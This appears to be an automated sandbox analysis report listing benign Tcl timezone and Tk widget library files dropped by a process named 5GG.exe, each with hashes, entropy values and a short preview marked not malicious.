C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\America\Argentina\Jujuy

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2041
Entropy (8bit):	3.7481290145270245
Encrypted:	false
SSDEEP:	48:5HluuSYSaSISBS2ShSmSLVS+E1/SKSZSGRSoSpS7S6S4wRSenSOafwcSPAC8OS0E:xwu3pfe92jCs/VOHv2kdeRtnxafwcDCK
MD5:	995EDE9E1E86DB500C7437A196325E21
SHA1:	4A8FB1511AA124CA2D299EC8DE155EE9D0479180
SHA-256:	43EB79ABC03CBAC661C563DE1BC09D9DD855CBC72DD2B6467EA98F0F90421BA9
SHA-512:	B58B35EA1B2F0388B8108DCF254F3BD1B21894F00A9F313ABC093BC52C36FCDD94B7486DBA38161C9EFCDB12BC3CD81E7E02395B0CA480A7F01148C43CD3054F
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit....set TZData(:America/Argentina/Jujuy) {.. {-9223372036854775808 -15672 0 LMT}.. {-2372096328 -15408 0 CMT}.. {-1567453392 -14400 0 -04}.. {-1233432000 -10800 0 -04}.. {-1222981200 -14400 0 -04}.. {-1205956800 -10800 1 -04}.. {-1194037200 -14400 0 -04}.. {-1172865600 -10800 1 -04}.. {-1162501200 -14400 0 -04}.. {-1141329600 -10800 1 -04}.. {-1130965200 -14400 0 -04}.. {-1109793600 -10800 1 -04}.. {-1099429200 -14400 0 -04}.. {-1078257600 -10800 1 -04}.. {-1067806800 -14400 0 -04}.. {-1046635200 -10800 1 -04}.. {-1036270800 -14400 0 -04}.. {-1015099200 -10800 1 -04}.. {-1004734800 -14400 0 -04}.. {-983563200 -10800 1 -04}.. {-973198800 -14400 0 -04}.. {-952027200 -10800 1 -04}.. {-941576400 -14400 0 -04}.. {-931032000 -10800 1 -04}.. {-900882000 -14400 0 -04}.. {-890337600 -10800 1 -04}.. {-833749200 -14400 0 -04}.. {-827265600 -10800 1 -04}.. {-752274000 -

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\America\Argentina\La_Rioja

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2106
Entropy (8bit):	3.744252944523733
Encrypted:	false
SSDEEP:	48:5lduuSYSaSISBS2ShSmSLVS+E1/SKSZSGRSoSpS7S6S4wRSenSOafwwkFC8OS0NC:Tou3pfe92jCs/VOHv2kdeRtnxafwwkFP
MD5:	4A45A063D45EB94214005EF3CA5BCD6D
SHA1:	2420E8591DC53A39EE1A58B2E45DCFAF9503685F
SHA-256:	2B018B791E48269FA9EDA12662FFEC3E2DC33603A918E8B735B8D7D6BEB3B3AA
SHA-512:	0B2824FA3D40B2EDBE8488D50C30368F4CF6E45A39FF6DEBC5BB4FD86F85AD52F5331AD1EB50E5166FA2E735B7E8AA9D94A5FED9421334DB0499524DBE08F737
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit....set TZData(:America/Argentina/La_Rioja) {.. {-9223372036854775808 -16044 0 LMT}.. {-2372095956 -15408 0 CMT}.. {-1567453392 -14400 0 -04}.. {-1233432000 -10800 0 -04}.. {-1222981200 -14400 0 -04}.. {-1205956800 -10800 1 -04}.. {-1194037200 -14400 0 -04}.. {-1172865600 -10800 1 -04}.. {-1162501200 -14400 0 -04}.. {-1141329600 -10800 1 -04}.. {-1130965200 -14400 0 -04}.. {-1109793600 -10800 1 -04}.. {-1099429200 -14400 0 -04}.. {-1078257600 -10800 1 -04}.. {-1067806800 -14400 0 -04}.. {-1046635200 -10800 1 -04}.. {-1036270800 -14400 0 -04}.. {-1015099200 -10800 1 -04}.. {-1004734800 -14400 0 -04}.. {-983563200 -10800 1 -04}.. {-973198800 -14400 0 -04}.. {-952027200 -10800 1 -04}.. {-941576400 -14400 0 -04}.. {-931032000 -10800 1 -04}.. {-900882000 -14400 0 -04}.. {-890337600 -10800 1 -04}.. {-833749200 -14400 0 -04}.. {-827265600 -10800 1 -04}.. {-75227400

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\America\Argentina\Mendoza

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2077
Entropy (8bit):	3.738002814507529
Encrypted:	false
SSDEEP:	48:5CPBuuSYSaSISBS2ShSmSLVS+E1/SKSZSGRSoSpS7S6S4wRSenSOafwGSmSc8OSI:GUu3pfe92jCs/VOHv2kdeRtnxafwGJld
MD5:	F6CB24E8567B2443224E9E17EE438BFE
SHA1:	8029426C30C4C645EA77C6240391CDB1C3107568
SHA-256:	DC39400BBFD5BDDDC174FE099194806FBFD3FC3AA20E670D67BE0AC35FE97AD4
SHA-512:	6869CFC24C21FBB2DFCCAA9AE7E21A0B24DC002EE792FB28A8F2F05C75C20E93C95A39BD8653AA272AF10FE95922B99EECC1208AACE814817D9441F84360E867
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit....set TZData(:America/Argentina/Mendoza) {.. {-9223372036854775808 -16516 0 LMT}.. {-2372095484 -15408 0 CMT}.. {-1567453392 -14400 0 -04}.. {-1233432000 -10800 0 -04}.. {-1222981200 -14400 0 -04}.. {-1205956800 -10800 1 -04}.. {-1194037200 -14400 0 -04}.. {-1172865600 -10800 1 -04}.. {-1162501200 -14400 0 -04}.. {-1141329600 -10800 1 -04}.. {-1130965200 -14400 0 -04}.. {-1109793600 -10800 1 -04}.. {-1099429200 -14400 0 -04}.. {-1078257600 -10800 1 -04}.. {-1067806800 -14400 0 -04}.. {-1046635200 -10800 1 -04}.. {-1036270800 -14400 0 -04}.. {-1015099200 -10800 1 -04}.. {-1004734800 -14400 0 -04}.. {-983563200 -10800 1 -04}.. {-973198800 -14400 0 -04}.. {-952027200 -10800 1 -04}.. {-941576400 -14400 0 -04}.. {-931032000 -10800 1 -04}.. {-900882000 -14400 0 -04}.. {-890337600 -10800 1 -04}.. {-833749200 -14400 0 -04}.. {-827265600 -10800 1 -04}.. {-752274000

C:\Users\user\AppData\Local\Temp\_MEI73402\tk\scrlbar.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	13188
Entropy (8bit):	5.063842571848725
Encrypted:	false
SSDEEP:	192:Gf7RV8ei32PHKT8H2wwucyRlXn+kl1nBKp4nu5FCyK:2mei3qHKT8WPurnXn+I1nBg4nu5MyK
MD5:	5249CD1E97E48E3D6DEC15E70B9D7792
SHA1:	612E021BA25B5E512A0DFD48B6E77FC72894A6B9
SHA-256:	EEC90404F702D3CFBFAEC0F13BF5ED1EBEB736BEE12D7E69770181A25401C61F
SHA-512:	E4E0AB15EB9B3118C30CD2FF8E5AF87C549EAA9B640FFD809A928D96B4ADDEFB9D25EFDD1090FBD0019129CDF355BB2F277BC7194001BA1D2ED4A581110CEAFC
Malicious:	false
Preview:	# scrlbar.tcl --..#..# This file defines the default bindings for Tk scrollbar widgets...# It also provides procedures that help in implementing the bindings...#..# Copyright (c) 1994 The Regents of the University of California...# Copyright (c) 1994-1996 Sun Microsystems, Inc...#..# See the file "license.terms" for information on usage and redistribution..# of this file, and for a DISCLAIMER OF ALL WARRANTIES...#....#-------------------------------------------------------------------------..# The code below creates the default class bindings for scrollbars...#-------------------------------------------------------------------------....# Standard Motif bindings:..if {[tk windowingsystem] eq "x11" \|\| [tk windowingsystem] eq "aqua"} {....bind Scrollbar <Enter> {.. if {$tk_strictMotif} {...set tk::Priv(activeBg) [%W cget -activebackground]...%W configure -activebackground [%W cget -background].. }.. %W activate [%W identify %x %y]..}..bind Scrollbar <Motion> {.. %W activate [%

C:\Users\user\AppData\Local\Temp\_MEI73402\tk\spinbox.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	16526
Entropy (8bit):	5.033807343600737
Encrypted:	false
SSDEEP:	384:IMpfy/Ku9TzD0E8+9T1wqBaQKpiqQr7E32fnzXfWJU:IMpfy/Ku9Tx8WODTp2zPP
MD5:	77DFE1BACCD165A0C7B35CDEAA2D1A8C
SHA1:	426BA77FC568D4D3A6E928532E5BEB95388F36A0
SHA-256:	2FF791A44406DC8339C7DA6116E6EC92289BEE5FC1367D378F48094F4ABEA277
SHA-512:	E56DB85296C8661AB2EA0A56D9810F1A4631A9F9B41337560CBE38CCDF7DD590A3E65C22B435CE315EFF55EE5B8E49317D4E1B7577E25FC3619558015DD758EB
Malicious:	false
Preview:	# spinbox.tcl --..#..# This file defines the default bindings for Tk spinbox widgets and provides..# procedures that help in implementing those bindings. The spinbox builds..# off the entry widget, so it can reuse Entry bindings and procedures...#..# Copyright (c) 1992-1994 The Regents of the University of California...# Copyright (c) 1994-1997 Sun Microsystems, Inc...# Copyright (c) 1999-2000 Jeffrey Hobbs..# Copyright (c) 2000 Ajuba Solutions..#..# See the file "license.terms" for information on usage and redistribution..# of this file, and for a DISCLAIMER OF ALL WARRANTIES...#....#-------------------------------------------------------------------------..# Elements of tk::Priv that are used in this file:..#..# afterId -..If non-null, it means that auto-scanning is underway..#...and it gives the "after" id for the next auto-scan..#...command to be executed...# mouseMoved -..Non-zero means the mouse has moved a significant..#...amount since the button went down (so, for example,..#.

C:\Users\user\AppData\Local\Temp\_MEI73402\tk\tclIndex

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	20523
Entropy (8bit):	4.786929402401609
Encrypted:	false
SSDEEP:	384:eeVL0UI9Ms++J7VT/hc+ISyNsATbOan/uW/UFQ1gs1gxtKZufe2SvdJcmq/YbhEB:eeF0UI9Ms++J7VT/hc+ISyCATbOan2W+
MD5:	9378397DD3DCA9DFB181F6F512B15631
SHA1:	4F95DD6B658B6A912725DC7D6226F8414020D6C7
SHA-256:	B04B1A675572E6FCD12C5FE82C4FD0930395548436FF93D848BF340AE202E7E3
SHA-512:	D28CC3C8F3D0B1B2371CBD9EE29AC6881BABD8A07C762FF8F3284449998EE44FA44752CC8AB0DE47A3492776CE1D13BC8EA18CFDBDF710639D2D62D02CB917A9
Malicious:	false
Preview:	# Tcl autoload index file, version 2.0..# This file is generated by the "auto_mkindex" command..# and sourced to set up indexing information for one or..# more commands. Typically each line is a command that..# sets an element in the auto_index array, where the..# element name is the name of a command and the value is..# a script that loads the command.....set auto_index(::tk::dialog::error::Return) [list source [file join $dir bgerror.tcl]]..set auto_index(::tk::dialog::error::Details) [list source [file join $dir bgerror.tcl]]..set auto_index(::tk::dialog::error::SaveToLog) [list source [file join $dir bgerror.tcl]]..set auto_index(::tk::dialog::error::Destroy) [list source [file join $dir bgerror.tcl]]..set auto_index(::tk::dialog::error::bgerror) [list source [file join $dir bgerror.tcl]]..set auto_index(bgerror) [list source [file join $dir bgerror.tcl]]..set auto_index(::tk::ButtonInvoke) [list source [file join $dir button.tcl]]..set auto_index(::tk::ButtonAutoInvoke) [list sou

C:\Users\user\AppData\Local\Temp\_MEI73402\tk\tearoff.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5309
Entropy (8bit):	4.74935501162253
Encrypted:	false
SSDEEP:	96:wfQXIqAv6iEwYtKVlPBnXWASbvMsDjXKpQQkK2tTsSZQ7Fowqm2K5r:wf+IqI6iU43PJYbvMsDjXKpsK2tISyZV
MD5:	5F042DE8AD8941C7B9EF6D7BE06C86E4
SHA1:	A4DFCEA2ACCAC2E85EAAA186DC765086D1E3AA3C
SHA-256:	A4A8568633F827B54326640E6D1C3FDE4978EDC9E9FA1FB1D7B58F189DF1B1DC
SHA-512:	E92A00028696A1557666CAB1C25AE6B63F25D75A9811BFAC56DFC069ECC769CC751B71CC81FA85C9CDE8F7FB6D7121EB64B58548CEE8AFE3F6C4A5C243507216
Malicious:	false
Preview:	# tearoff.tcl --..#..# This file contains procedures that implement tear-off menus...#..# Copyright (c) 1994 The Regents of the University of California...# Copyright (c) 1994-1997 Sun Microsystems, Inc...#..# See the file "license.terms" for information on usage and redistribution..# of this file, and for a DISCLAIMER OF ALL WARRANTIES...#....# ::tk::TearoffMenu --..# Given the name of a menu, this procedure creates a torn-off menu..# that is identical to the given menu (including nested submenus)...# The new torn-off menu exists as a toplevel window managed by the..# window manager. The return value is the name of the new menu...# The window is created at the point specified by x and y..#..# Arguments:..# w -...The menu to be torn-off (duplicated)...# x -...x coordinate where window is created..# y -...y coordinate where window is created....proc ::tk::TearOffMenu {w {x 0} {y 0}} {.. # Find a unique name to use for the torn-off menu. Find the first.. # ancestor of w that is a

C:\Users\user\AppData\Local\Temp\_MEI73402\tk\text.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	34961
Entropy (8bit):	4.958000555615616
Encrypted:	false
SSDEEP:	768:Rp4LaQDlJrqquMwIMyv4Et8avJLgmTGXs1bYMeNnnZl8n6KRD:R/K8aymTGs1b0xncn6KR
MD5:	7C2AC370DE0B941AE13572152419C642
SHA1:	7598CC20952FA590E32DA063BF5C0F46B0E89B15
SHA-256:	4A42AD370E0CD93D4133B49788C0B0E1C7CD78383E88BACB51CB751E8BFDA15E
SHA-512:	8325A33BFD99F0FCE4F14ED5DC6E03302F6FFABCE9D1ABFEFC24D16A09AB3439A4B753CBF06B28D8C95E4DDABFB9082C9B030619E8955A7E656BD6C61B9256C3
Malicious:	false
Preview:	# text.tcl --..#..# This file defines the default bindings for Tk text widgets and provides..# procedures that help in implementing the bindings...#..# Copyright (c) 1992-1994 The Regents of the University of California...# Copyright (c) 1994-1997 Sun Microsystems, Inc...# Copyright (c) 1998 by Scriptics Corporation...#..# See the file "license.terms" for information on usage and redistribution..# of this file, and for a DISCLAIMER OF ALL WARRANTIES...#....#-------------------------------------------------------------------------..# Elements of ::tk::Priv that are used in this file:..#..# afterId -..If non-null, it means that auto-scanning is underway..#...and it gives the "after" id for the next auto-scan..#...command to be executed...# char -..Character position on the line; kept in order..#...to allow moving up or down past short lines while..#...still remembering the desired position...# mouseMoved -..Non-zero means the mouse has moved a significant..#...amount since the button we

C:\Users\user\AppData\Local\Temp\_MEI73402\tk\tk.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Tcl script, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	24266
Entropy (8bit):	5.1375522500072925
Encrypted:	false
SSDEEP:	384:Nuyxt+WaB9USY15gSgC3DbTbXLXKr3cIXyDAbK2LMGgtewT+3oFQRyH5bAy59Hmc:NuItNe9USZblXysm7GgteoFQRYMSySL
MD5:	338184E46BD23E508DAEDBB11A4F0950
SHA1:	437DB31D487C352472212E8791C8252A1412CB0E
SHA-256:	0F617D96CBF213296D7A5F7FCFFBB4AE1149840D7D045211EF932E8DD66683E9
SHA-512:	8FB8A353EECD0D19638943F0A9068DCCEBF3FB66D495EA845A99A89229D61A77C85B530F597FD214411202055C1FAA9229B6571C591C9F4630490E1EB30B9CD3
Malicious:	false
Preview:	# tk.tcl --..#..# Initialization script normally executed in the interpreter for each Tk-based..# application. Arranges class bindings for widgets...#..# Copyright (c) 1992-1994 The Regents of the University of California...# Copyright (c) 1994-1996 Sun Microsystems, Inc...# Copyright (c) 1998-2000 Ajuba Solutions...#..# See the file "license.terms" for information on usage and redistribution of..# this file, and for a DISCLAIMER OF ALL WARRANTIES.....# Verify that we have Tk binary and script components from the same release..package require -exact Tk 8.6.12.....# Create a ::tk namespace..namespace eval ::tk {.. # Set up the msgcat commands.. namespace eval msgcat {...namespace export mc mcmax.. if {[interp issafe] \|\| [catch {package require msgcat}]} {.. # The msgcat package is not available. Supply our own.. # minimal replacement... proc mc {src args} {.. return [format $src {*}$args].. }.. proc mc

C:\Users\user\AppData\Local\Temp\_MEI73402\tk\tkfbox.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	39613
Entropy (8bit):	5.1830399016984146
Encrypted:	false
SSDEEP:	768:+oj+AqE9cn9eJNgDN0/vsKulXgx65Eh6pSb:+6+ZM/gAEdix65Ehpb
MD5:	47635811AAA1CEB26EDA3930D91C8855
SHA1:	F071757BED525AF8CA21BFA0FCA89EC3F95AA278
SHA-256:	595A0B05EB2CBD4CF489E57624B509FC3B4885E6410CA6416E7521D23694373D
SHA-512:	A374126EC28E70C89EE247A591C2168DF55E110F260664F46F470C53CDA3A2411C3775391FC8FD575CEE69CD1768512E68CDDCB335204D00B9EB81906AC79344
Malicious:	false
Preview:	# tkfbox.tcl --..#..#.Implements the "TK" standard file selection dialog box. This dialog..#.box is used on the Unix platforms whenever the tk_strictMotif flag is..#.not set...#..#.The "TK" standard file selection dialog box is similar to the file..#.selection dialog box on Win95(TM). The user can navigate the..#.directories by clicking on the folder icons or by selecting the..#."Directory" option menu. The user can select files by clicking on the..#.file icons or by entering a filename in the "Filename:" entry...#..# Copyright (c) 1994-1998 Sun Microsystems, Inc...#..# See the file "license.terms" for information on usage and redistribution..# of this file, and for a DISCLAIMER OF ALL WARRANTIES...#....namespace eval ::tk::dialog {}..namespace eval ::tk::dialog::file {.. namespace import -force ::tk::msgcat::*.. variable showHiddenBtn 0.. variable showHiddenVar 1.... # Create the images if they did not already exist... if {![info exists ::tk::Priv(updirImage)]} {...s

C:\Users\user\AppData\Local\Temp\_MEI73402\tk\ttk\altTheme.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3713
Entropy (8bit):	4.915055696129498
Encrypted:	false
SSDEEP:	48:InrWdo3L7Fe5qusQGdrMNnQbfIxEOxE0kFgG0FgGouox9FrGVuwg3kNcT+z5UlEr:UWdsOBn/1i+pqxwNjKs
MD5:	01F28512E10ACBDDF93AE2BB29E343BC
SHA1:	C9CF23D6315218B464061F011E4A9DC8516C8F1F
SHA-256:	AE0437FB4E0EBD31322E4EACA626C12ABDE602DA483BB39D0C5EE1BC00AB0AF4
SHA-512:	FE3BAE36DDB67F6D7A90B7A91B6EC1A009CF26C0167C46635E5A9CEAEC9083E59DDF74447BF6F60399657EE9604A2314B170F78A921CF948B2985DDF02A89DA6
Malicious:	false
Preview:	#..# Ttk widget set: Alternate theme..#....namespace eval ttk::theme::alt {.... variable colors.. array set colors {...-frame .."#d9d9d9"...-window.."#ffffff"...-darker ."#c3c3c3"...-border.."#414141"...-activebg ."#ececec"...-disabledfg."#a3a3a3"...-selectbg."#4a6984"...-selectfg."#ffffff"...-altindicator."#aaaaaa".. }.... ttk::style theme settings alt {.....ttk::style configure "." \... -background .$colors(-frame) \... -foreground .black \... -troughcolor.$colors(-darker) \... -bordercolor.$colors(-border) \... -selectbackground .$colors(-selectbg) \... -selectforeground .$colors(-selectfg) \... -font ..TkDefaultFont \... ;.....ttk::style map "." -background \... [list disabled $colors(-frame) active $colors(-activebg)] ;...ttk::style map "." -foreground [list disabled $colors(-disabledfg)] ;.. ttk::style map "." -embossed [list disabled 1] ;.....ttk::style configure TButton \... -anchor center -width -11 -padding "1 1" \... -reli

C:\Users\user\AppData\Local\Temp\_MEI73402\tk\ttk\aquaTheme.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3838
Entropy (8bit):	4.940737732832436
Encrypted:	false
SSDEEP:	48:WdbclJFvlyLi+8OWXgQahpvAdNutdHrFBlCFBK2tdHkFBlhKgY1geAWUWeFVvtdp:C8EQPNeWgFeqdXj
MD5:	F07A3A86362E9E253BE91F59714FE134
SHA1:	84DE1AB2EAE62E4B114F0E613BD94955AFA9E6C7
SHA-256:	E199CC9C429B35A09721D0A22543C3729E2B8462E68DFA158C0CEC9C70A0D79D
SHA-512:	324EAF9F857076CA4FECB26D8DF76F8BB1D3F15EAE55D6B6C9689BF1682B306AC7A3592B6A518D23F9FE4DC21EFB6ACF1ECA948F889FA1ADFFA0E12C0BEAB57F
Malicious:	false
Preview:	#..# Aqua theme (OSX native look and feel)..#....namespace eval ttk::theme::aqua {.. ttk::style theme settings aqua {.....ttk::style configure . \... -font TkDefaultFont \... -background systemWindowBackgroundColor \... -foreground systemLabelColor \... -selectbackground systemSelectedTextBackgroundColor \... -selectforeground systemSelectedTextColor \... -selectborderwidth 0 \... -insertwidth 1.....ttk::style map . \... -foreground {....disabled systemDisabledControlTextColor....background systemLabelColor} \... -selectbackground {....background systemSelectedTextBackgroundColor....!focus systemSelectedTextBackgroundColor} \... -selectforeground {....background systemSelectedTextColor....!focus systemSelectedTextColor}.....# Button...ttk::style configure TButton -anchor center -width -6 \... -foreground systemControlTextColor...ttk::style map TButton \... -foreground {....pressed white... {alternate !pressed !background} white}...ttk::styl

C:\Users\user\AppData\Local\Temp\_MEI73402\tk\ttk\button.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3014
Entropy (8bit):	4.917794267131833
Encrypted:	false
SSDEEP:	48:A5N+EqJWR1eTC01cG61ELLgrDgk1JgQ6TQGvhV5giT6TUP+3JWMHTeJ:kN+RQfccG61ooDgQ6dNT6TUP+PHO
MD5:	D4BF1AF5DCDD85E3BD11DBF52EB2C146
SHA1:	B1691578041319E671D31473A1DD404855D2038B
SHA-256:	E38A9D1F437981AA6BF0BDD074D57B769A4140C0F7D9AFF51743FE4ECC6DFDDF
SHA-512:	25834B4B231F4FF1A88EEF67E1A102D1D0546EC3B0D46856258A6BE6BBC4B381389C28E2EB60A01FF895DF24D6450CD16CA449C71F82BA53BA438A4867A47DCD
Malicious:	false
Preview:	#..# Bindings for Buttons, Checkbuttons, and Radiobuttons...#..# Notes: <Button1-Leave>, <Button1-Enter> only control the "pressed"..# state; widgets remain "active" if the pointer is dragged out...# This doesn't seem to be conventional, but it's a nice way..# to provide extra feedback while the grab is active...# (If the button is released off the widget, the grab deactivates and..# we get a <Leave> event then, which turns off the "active" state)..#..# Normally, <ButtonRelease> and <ButtonN-Enter/Leave> events are..# delivered to the widget which received the initial <Button>..# event. However, Tk [grab]s (#1223103) and menu interactions..# (#1222605) can interfere with this. To guard against spurious..# <Button1-Enter> events, the <Button1-Enter> binding only sets..# the pressed state if the button is currently active...#....namespace eval ttk::button {}....bind TButton <Enter> ..{ %W instate !disabled {%W state active} }..bind TButton <Leave>..{ %W state !active }..bind TButton <s

C:\Users\user\AppData\Local\Temp\_MEI73402\tk\ttk\clamTheme.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4809
Entropy (8bit):	4.905115353394083
Encrypted:	false
SSDEEP:	48:KrS4se/XhW03cC7TxPp/uo1ZUb0WZvSoetCgV+tMWG3xT3xgNB4x76FAuoxVYuIJ:oS4sSjWwFAGkhiP3xT3xL6B2bbe
MD5:	2B20E7B2E6BDDBEB14F5F63BF38DBF24
SHA1:	43DB48094C4BD7DE3B76AFBC051D887FEFE9887E
SHA-256:	CFFC59931FDD1683AD23895E92522CF49B099128753FCDFF34374024E42CF995
SHA-512:	1EB5EA78D26D18EAD6563AFBF1798F71723001DCC945E7DB3E4368564D0563029BE3565876AD8CB97331CFE34B2A0A313FA1BF252B87049160FE5DCD65434775
Malicious:	false
Preview:	#..# "Clam" theme...#..# Inspired by the XFCE family of Gnome themes...#....namespace eval ttk::theme::clam {.. variable colors.. array set colors {...-disabledfg.."#999999"...-frame .."#dcdad5"...-window .."#ffffff"...-dark..."#cfcdc8"...-darker .."#bab5ab"...-darkest.."#9e9a91"...-lighter.."#eeebe7"...-lightest .."#ffffff"...-selectbg.."#4a6984"...-selectfg.."#ffffff"...-altindicator.."#5895bc"...-disabledaltindicator."#a0a0a0".. }.... ttk::style theme settings clam {.....ttk::style configure "." \... -background $colors(-frame) \... -foreground black \... -bordercolor $colors(-darkest) \... -darkcolor $colors(-dark) \... -lightcolor $colors(-lighter) \... -troughcolor $colors(-darker) \... -selectbackground $colors(-selectbg) \... -selectforeground $colors(-selectfg) \... -selectborderwidth 0 \... -font TkDefaultFont \... ;.....ttk::style map "." \... -background [list disabled $colors(-frame) \..... active $colors(-lighter)] \..

C:\Users\user\AppData\Local\Temp\_MEI73402\tk\ttk\classicTheme.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3864
Entropy (8bit):	4.935603001745302
Encrypted:	false
SSDEEP:	48:zcJZjdWs+WVB4ULsMF7tnvnuSuqo5DKxiFgG0FgGHx9FrGTtu/3Kt+iW2PbuAk38:zcJZEstB4UoituSm+VtYErY
MD5:	0205663142775F4EF2EB104661D30979
SHA1:	452A0D613288A1CC8A1181C3CC1167E02AA69A73
SHA-256:	424BBA4FB6836FEEBE34F6C176ED666DCE51D2FBA9A8D7AA756ABCBBAD3FC1E3
SHA-512:	FB4D212A73A6F5A8D2774F43D310328B029B52B35BEE133584D8326363B385AB7AA4AE25E98126324CC716962888321E0006E5F6EF8563919A1D719019B2D117
Malicious:	false
Preview:	#..# "classic" Tk theme...#..# Implements Tk's traditional Motif-like look and feel...#....namespace eval ttk::theme::classic {.... variable colors; array set colors {...-frame.."#d9d9d9"...-window.."#ffffff"...-activebg."#ececec"...-troughbg."#c3c3c3"...-selectbg."#c3c3c3"...-selectfg."#000000"...-disabledfg."#a3a3a3"...-indicator."#b03060"...-altindicator."#b05e5e".. }.... ttk::style theme settings classic {...ttk::style configure "." \... -font..TkDefaultFont \... -background..$colors(-frame) \... -foreground..black \... -selectbackground.$colors(-selectbg) \... -selectforeground.$colors(-selectfg) \... -troughcolor.$colors(-troughbg) \... -indicatorcolor.$colors(-frame) \... -highlightcolor.$colors(-frame) \... -highlightthickness.1 \... -selectborderwidth.1 \... -insertwidth.2 \... ;.....# To match pre-Xft X11 appearance, use:...#.ttk::style configure . -font {Helvetica 12 bold}.....ttk::style map "." -background \... [list disabled

C:\Users\user\AppData\Local\Temp\_MEI73402\tk\ttk\combobox.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	12718
Entropy (8bit):	5.063548300335668
Encrypted:	false
SSDEEP:	192:otLzBJ9SfinaXUBLPYXlk7fKiLH+AzIoJdJwGknmyLsxoVEQGITse8g5sarkT32e:wB5aXmLPYXmrKxLL7A
MD5:	F7065D345A4BFB3127C3689BF1947C30
SHA1:	9631C05365B0F5A36E4CA5CBA83628CCD7FCBDE1
SHA-256:	68EED4AF6D2EC5B3EA24B1122A704B040366CBE2F458103137479352FFA1475A
SHA-512:	74B99B9E326680150DD5EC7263192691BCD8A71B2A4EE7F3177DEDDD43E924A7925085C6D372731A70570F96B3924450255B2F54CA3B9C44D1160CA37E715B00
Malicious:	false
Preview:	#..# Combobox bindings...#..# <<NOTE-WM-TRANSIENT>>:..#..#.Need to set [wm transient] just before mapping the popdown..#.instead of when it's created, in case a containing frame..#.has been reparented [#1818441]...#..#.On Windows: setting [wm transient] prevents the parent..#.toplevel from becoming inactive when the popdown is posted..#.(Tk 8.4.8+)..#..#.On X11: WM_TRANSIENT_FOR on override-redirect windows..#.may be used by compositing managers and by EWMH-aware..#.window managers (even though the older ICCCM spec says..#.it's meaningless)...#..#.On OSX: [wm transient] does utterly the wrong thing...#.Instead, we use [MacWindowStyle "help" "noActivates hideOnSuspend"]...#.The "noActivates" attribute prevents the parent toplevel..#.from deactivating when the popdown is posted, and is also..#.necessary for "help" windows to receive mouse events...#."hideOnSuspend" makes the popdown disappear (resp. reappear)..#.when the parent toplevel is deactivated (resp. reactivated)...#.(see [#18147

C:\Users\user\AppData\Local\Temp\_MEI73402\tk\ttk\cursors.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4827
Entropy (8bit):	4.843146795750702
Encrypted:	false
SSDEEP:	96:DRYEqfLDxGmxGUz4GUtaPT6t6brv0q3O4Uu0:DWEqTDbxdWaPqe5PUr
MD5:	18EC3E60B8DD199697A41887BE6CE8C2
SHA1:	13FF8CE95289B802A5247B1FD9DEA90D2875CB5D
SHA-256:	7A2ED9D78FABCAFFF16694F2F4A2E36FF5AA313F912D6E93484F3BCD0466AD91
SHA-512:	4848044442EFE75BCF1F89D8450C8ECBD441F38A83949A3CD2A56D9000CACAA2EA440CA1B32C856AB79358ACE9C7E3F70DDF0EC54AA93866223D8FEF76930B19
Malicious:	false
Preview:	#..# Map symbolic cursor names to platform-appropriate cursors...#..# The following cursors are defined:..#..#.standard.-- default cursor for most controls..#.""..-- inherit cursor from parent window..#.none..-- no cursor..#..#.text..-- editable widgets (entry, text)..#.link..-- hyperlinks within text..#.crosshair.-- graphic selection, fine control..#.busy..-- operation in progress..#.forbidden.-- action not allowed..#..#.hresize..-- horizontal resizing..#.vresize..-- vertical resizing..#..# Also resize cursors for each of the compass points,..# {nw,n,ne,w,e,sw,s,se}resize...#..# Platform notes:..#..# Windows doesn't distinguish resizing at the 8 compass points,..# only horizontal, vertical, and the two diagonals...#..# OSX doesn't have resize cursors for nw, ne, sw, or se corners...# We use the Tk-defined X11 fallbacks for these...#..# X11 doesn't have a "forbidden" cursor (usually a slashed circle);..# "pirate" seems to be the conventional cursor for this purpose...#..# 